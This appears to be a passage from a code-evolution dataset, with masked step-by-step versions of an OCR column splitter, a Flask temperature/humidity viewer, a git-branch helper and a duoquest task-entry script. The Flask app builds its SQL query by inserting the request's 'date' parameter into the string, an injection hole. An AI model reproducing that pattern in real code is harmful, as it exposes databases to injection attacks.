40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\nif __name__ == '__main__':\n print('STARTING')\n for f in os.listdir('./ocr/data/gb19gw39h/'):\n if f.endswith('.jpg'):\n createColumnImages(cv2.imread(os.path.join(\n './ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0],\n './ocr/columns/gb19gw39h/')\n for f in os.listdir('./ocr/data/8k71pf94q/'):\n if f.endswith('.jpg'):\n createColumnImages(cv2.imread(os.path.join(\n './ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0],\n './ocr/columns/8k71pf94q/')\n for f in os.listdir('./ocr/data/mc87rq85m/'):\n if f.endswith('.jpg'):\n createColumnImages(cv2.imread(os.path.join(\n './ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0],\n './ocr/columns/mc87rq85m/')\n \"\"\"\n data_folder = './ocr/data/'\n for folder in os.listdir(data_folder):\n if folder == \".DS_Store\":\n continue\n for file in os.listdir(os.path.join(data_folder, folder)):\n if file.endswith(\".jpg\"):\n print(\"calling test() on \" + file)\n #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0])\n createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/')\n \n for f in os.listdir('./ocr/data/8k71pr786/'):\n if f.endswith(\".jpg\"):\n for d in range(550, 850, 50):\n createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d)\n #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/')\n \"\"\"\n", "step-5": "\n# https://github.com/jscancella/NYTribuneOCRExperiments/blob/master/findText_usingSums.py\nimport os\nimport io\nfrom pathlib import Path\nimport sys\nos.environ['OPENCV_IO_ENABLE_JASPER']='True' # has to be set before importing cv2 otherwise it won't read the variable\nimport numpy as np\nimport cv2\n\nimport subprocess\nfrom multiprocessing import Pool\nfrom scipy.signal import find_peaks, find_peaks_cwt\n\nimport scipy.ndimage as ndimage\nfrom IPython.display import Image as KImage\n\n#custom kernel that is used to blend together text in the Y axis\nDILATE_KERNEL = np.array([\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype=np.uint8)\n\n\n# Run adaptative thresholding (is slow af compared to not using it in pipeline)\ndef adaptative_thresholding(img, threshold):\n # Load image\n I = img\n # Convert image to grayscale\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n # Original image size\n orignrows, origncols = gray.shape\n # Windows size\n M = int(np.floor(orignrows/16) + 1)\n N = int(np.floor(origncols/16) + 1)\n # Image border padding related to windows size\n Mextend = round(M/2)-1\n Nextend = round(N/2)-1\n # Padding image\n aux =cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=Nextend,\n right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M,N),np.int32)\n # Image integral calculation\n imageIntegral = cv2.integral(aux, windows,-1)\n # Integral image size\n nrows, ncols = imageIntegral.shape\n # Memory allocation for cumulative region image\n result = np.zeros((orignrows, origncols))\n # Image cumulative pixels in windows size calculation\n for i in range(nrows-M):\n for j in range(ncols-N):\n result[i, j] = imageIntegral[i+M, j+N] - imageIntegral[i, j+N]+ imageIntegral[i, j] - imageIntegral[i+M,j]\n\n # Output binary image memory allocation\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n # Gray image weighted by windows size\n graymult = (gray).astype('float64')*M*N\n # Output image binarization\n binar[graymult <= result*(100.0 - threshold)/100.0] = False\n # binary image to UINT8 conversion\n binar = (255*binar).astype(np.uint8)\n\n return binar\n\ndef Q_test(sorted_data):\n conf95_level = {3: .97, 4: .829, 5: .71, 6: .625, 7: .568, 8: .526, 9: .493}\n q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] - sorted_data[0])\n print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs(sorted_data[-1] - sorted_data[0])))\n print(\"q_exp : \" + str(q_exp))\n return q_exp > conf95_level[min(9, len(sorted_data))]\n\n\n# static variables for clarity\nCOLUMNS = 0\nGREEN = (0, 255, 0)\n\n# parameters that can be tweaked\nLINE_THICKNESS = 3 # how thick to make the line around the found contours in the debug output\nPADDING = 10 # padding to add around the found possible column to help account for image skew and such\nCREATE_COLUMN_OUTLINE_IMAGES = True # if we detect that we didn't find all the columns. Create a debug image (tiff) showing the columns that were found\n\ndef columnIndexes(a):\n \"\"\"\n creates pair of indexes for left and right index of the image column\n For example [13, 1257, 2474, 3695, 4907, 6149]\n becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]]\n \"\"\"\n nrows = (a.size-2)+1\n return a[1*np.arange(nrows)[:,None] + np.arange(2)]\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n return temp_img\n\ndef invert(img):\n \"\"\" Black -> White | White -> Black \"\"\"\n print(\"invert image\")\n # Should we edit these parameters?\n #3/18/21 - experimented on threshold, 140 is good.\n _,temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print(\"applying dilation morph\")\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) #the more iterations the more the text gets stretched in the Y axis, 15 seems about right.\n '''\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n '''\n return temp_img\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n \n sums = np.sum(temp_img, axis = COLUMNS)\n \n sums[0] = 1000 # some random value so that find_peaks properly detects the peak for the left most column\n sums = sums * -4 # invert so that minimums become maximums and exagerate the data so it is more clear what the peaks are \n peaks, _ = find_peaks(sums, distance=600) # the column indexs of the img array, spaced at least 800 away from the previous peak\n\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n '''\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n '''\n print(\"PeakNum, Sum, QRemove for \" + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print(\"----------\")\n\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\"ERROR: something went wrong with finding the peaks for image: \", os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + \".jpg 0\\n\")\n return files\n\n peaks[0] = 0 # automatically make the left most column index the start of the image\n peaks[-1] =sums.size -1 # automatically make the right most column index the end of the image\n\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print(\"found image that is causing problems: \", os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + \".jpg \" + str(peaks.size) + \"\\n\")\n\n columnIndexPairs = columnIndexes(peaks)\n\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0]-PADDING, 0)\n xend = min(columnIndexPair[1]+PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (basename, xstart,xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n \n print(\"writing out cropped image: \", filepath)\n # Apply adaptative thresholding to the image with a threshold of 25/100\n #crop_img = adaptative_thresholding(crop_img, 25)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed,(xstart,ystart),(xend,yend), GREEN, LINE_THICKNESS)\n\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n # For removing the old image?\n # os.remove(os.path.join(directory, basename + \".jp2\"))\n\n return files\n\ndef invert_experiment():\n test_img = cv2.imread('./ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _,temp_img = cv2.threshold(test_img, thresh, 255, cv2.THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh='+str(thresh)+'.jpg', temp_img)\n\n\n\ndef test(img, basename):\n #h, w, _ = img.shape\n #test_img = cv2.imread('./ocr/data/8k71pf94q/2_commonwealth_8k71pf94q_accessFull.jpg')\n test_img = convertToGrayscale(img)\n #ret,test_img = cv2.threshold(test_img,25,255,0)\n #cv2.imwrite('./ocr/test_images/contours/'+basename+'prepixelcrop.jpg', test_img)\n #test_img = test_img[10:h-10, 10: w-10]\n #y_nonzero, x_nonzero = np.nonzero(test_img)\n #test_img = test_img[np.min(y_nonzero):np.max(y_nonzero), np.min(x_nonzero):np.max(x_nonzero)]\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n\n #contours,hierarchy = cv2.findContours(test_img,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n #cnt = contours[0]\n #x,y,w,h = cv2.boundingRect(cnt)\n #test_img = cv2.rectangle(img,(10,10),(w-10, h-10), GREEN, LINE_THICKNESS)\n #test_img = cv2.drawContours(test_img, contours, -1, GREEN, LINE_THICKNESS)\n #crop = test_img[y:y+h,x:x+w]\n cv2.imwrite('./ocr/test_images/contours/'+basename+'dilated.jpg', test_img)\n '''\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n '''\n #cv2.imwrite('./ocr/test_images/inverted.jpg', test_img)\n\n \n\n\nif __name__ == \"__main__\":\n print(\"STARTING\")\n for f in os.listdir('./ocr/data/gb19gw39h/'):\n if f.endswith(\".jpg\"):\n #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0])\n createColumnImages(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0], './ocr/columns/gb19gw39h/')\n\n for f in os.listdir('./ocr/data/8k71pf94q/'):\n if f.endswith(\".jpg\"):\n #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0])\n createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0], './ocr/columns/8k71pf94q/')\n\n for f in os.listdir('./ocr/data/mc87rq85m/'):\n if f.endswith(\".jpg\"):\n #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0])\n createColumnImages(cv2.imread(os.path.join('./ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0], './ocr/columns/mc87rq85m/')\n\n '''\n data_folder = './ocr/data/'\n for folder in os.listdir(data_folder):\n if folder == \".DS_Store\":\n continue\n for file in os.listdir(os.path.join(data_folder, folder)):\n if file.endswith(\".jpg\"):\n print(\"calling test() on \" + file)\n #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0])\n createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/')\n \n for f in os.listdir('./ocr/data/8k71pr786/'):\n if f.endswith(\".jpg\"):\n for d in range(550, 850, 50):\n createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d)\n #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/')\n '''\n\n", "step-ids": [ 6, 7, 8, 11, 13 ] }

[ 6, 7, 8, 11, 13 ]

from flask import Flask, request from flask import render_template import sqlite3 import datetime app = Flask(__name__) @app.route('/') def index(date = ""): date = request.args.get('date') if not date: now = datetime.datetime.now() date = "%02d.%02d.%04d" % (now.day, now.month, now.year) conn = sqlite3.connect("data.db") c = conn.cursor() res = c.execute("SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data " "WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' " "GROUP BY STRFTIME('%%H', date) " % (date, )) hour = list() temp = list() hum = list() for row in res: hour.append(row[0]) temp.append("%.1f" % row[1]) hum.append("%.1f" % row[2]) return render_template('index.html', date = date, hour = hour, temp = temp, hum = hum) if __name__ == '__main__': app.debug = True app.run(host = "127.0.0.1", port = 8888)

normal

{ "blob_id": "f6fe33e04ccdca1d9714caec412478d0cfc8b363", "index": 5559, "step-1": "<mask token>\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='127.0.0.1', port=8888)\n", "step-3": "<mask token>\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='127.0.0.1', port=8888)\n", "step-4": "from flask import Flask, request\nfrom flask import render_template\nimport sqlite3\nimport datetime\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='127.0.0.1', port=8888)\n", "step-5": "from flask import Flask, request\n\nfrom flask import render_template\nimport sqlite3\nimport datetime\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index(date = \"\"):\n date = request.args.get('date')\n\n if not date:\n now = datetime.datetime.now()\n date = \"%02d.%02d.%04d\" % (now.day, now.month, now.year)\n\n conn = sqlite3.connect(\"data.db\")\n c = conn.cursor()\n res = c.execute(\"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data \"\n \"WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' \"\n \"GROUP BY STRFTIME('%%H', date) \" % (date, ))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append(\"%.1f\" % row[1])\n hum.append(\"%.1f\" % row[2])\n\n return render_template('index.html', date = date, hour = hour, temp = temp, hum = hum)\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host = \"127.0.0.1\", port = 8888)\n", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Develop(Branch): <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Develop(Branch): def process(self): if self.action is Actions.INIT: self.start_message('Develop Init') Init(self.state_handler, self.config_handler).process() else: raise NotImplementedError <|reserved_special_token_1|> from __future__ import annotations from VersionControl.Branch import Branch from Branches.Actions.Actions import Actions from VersionControl.Git.Branches.Develop.Init import Init class Develop(Branch): def process(self): if self.action is Actions.INIT: self.start_message('Develop Init') Init(self.state_handler, self.config_handler).process() else: raise NotImplementedError

flexible

{ "blob_id": "338bf2406c233d857e1a688391161d58e1dab23c", "index": 8910, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Develop(Branch):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Develop(Branch):\n\n def process(self):\n if self.action is Actions.INIT:\n self.start_message('Develop Init')\n Init(self.state_handler, self.config_handler).process()\n else:\n raise NotImplementedError\n", "step-4": "from __future__ import annotations\nfrom VersionControl.Branch import Branch\nfrom Branches.Actions.Actions import Actions\nfrom VersionControl.Git.Branches.Develop.Init import Init\n\n\nclass Develop(Branch):\n\n def process(self):\n if self.action is Actions.INIT:\n self.start_message('Develop Init')\n Init(self.state_handler, self.config_handler).process()\n else:\n raise NotImplementedError\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols <|reserved_special_token_0|> def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols <|reserved_special_token_0|> def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols def input_order(): ordered = False while True: order_input = input('Should results be ordered? (y/n) > ') if order_input == 'y': ordered = True break elif order_input == 'n': break else: print('y/n only!') return ordered def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row <|reserved_special_token_0|> <|reserved_special_token_1|> import configparser import sqlite3 import time import uuid from duoquest.tsq import TableSketchQuery def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols def input_order(): ordered = False while True: order_input = input('Should results be ordered? (y/n) > ') if order_input == 'y': ordered = True break elif order_input == 'n': break else: print('y/n only!') return ordered def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row def main(): config = configparser.ConfigParser() config.read('config.ini') db_path = config['db']['path'] conn = sqlite3.connect(db_path) db_name = input_db_name(conn) nlq = input_nlq() num_cols = input_num_cols() tsq = TableSketchQuery(num_cols) tsq.types = input_tsq_types(num_cols) tsq_row_count = input_tsq_row_count() for i in range(tsq_row_count): tsq.values.append(input_tsq_row(i + 1, tsq.types)) tsq.order = input_order() tsq.limit = input_limit() print(tsq.to_proto()) cur = conn.cursor() cur.execute( """INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time) VALUES (?, ?, ?, ?, ?, ?)""" , (str(uuid.uuid4()), db_name, nlq, tsq.to_proto(). SerializeToString(), 'waiting', int(time.time()))) conn.commit() conn.close() if __name__ == '__main__': main() <|reserved_special_token_1|> import configparser import sqlite3 import time import uuid from duoquest.tsq import TableSketchQuery def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols def input_order(): ordered = False while True: order_input = input('Should results be ordered? (y/n) > ') if order_input == 'y': ordered = True break elif order_input == 'n': break else: print('y/n only!') return ordered def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row def main(): config = configparser.ConfigParser() config.read('config.ini') db_path = config['db']['path'] conn = sqlite3.connect(db_path) db_name = input_db_name(conn) nlq = input_nlq() num_cols = input_num_cols() tsq = TableSketchQuery(num_cols) tsq.types = input_tsq_types(num_cols) tsq_row_count = input_tsq_row_count() for i in range(tsq_row_count): tsq.values.append(input_tsq_row(i+1, tsq.types)) tsq.order = input_order() tsq.limit = input_limit() print(tsq.to_proto()) cur = conn.cursor() cur.execute('''INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time) VALUES (?, ?, ?, ?, ?, ?)''', (str(uuid.uuid4()), db_name, nlq, tsq.to_proto().SerializeToString(), 'waiting', int(time.time()))) conn.commit() conn.close() if __name__ == '__main__': main()

flexible

{ "blob_id": "54ec1961f4835f575e7129bd0b2fcdeb97be2f03", "index": 93, "step-1": "<mask token>\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\n<mask token>\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return 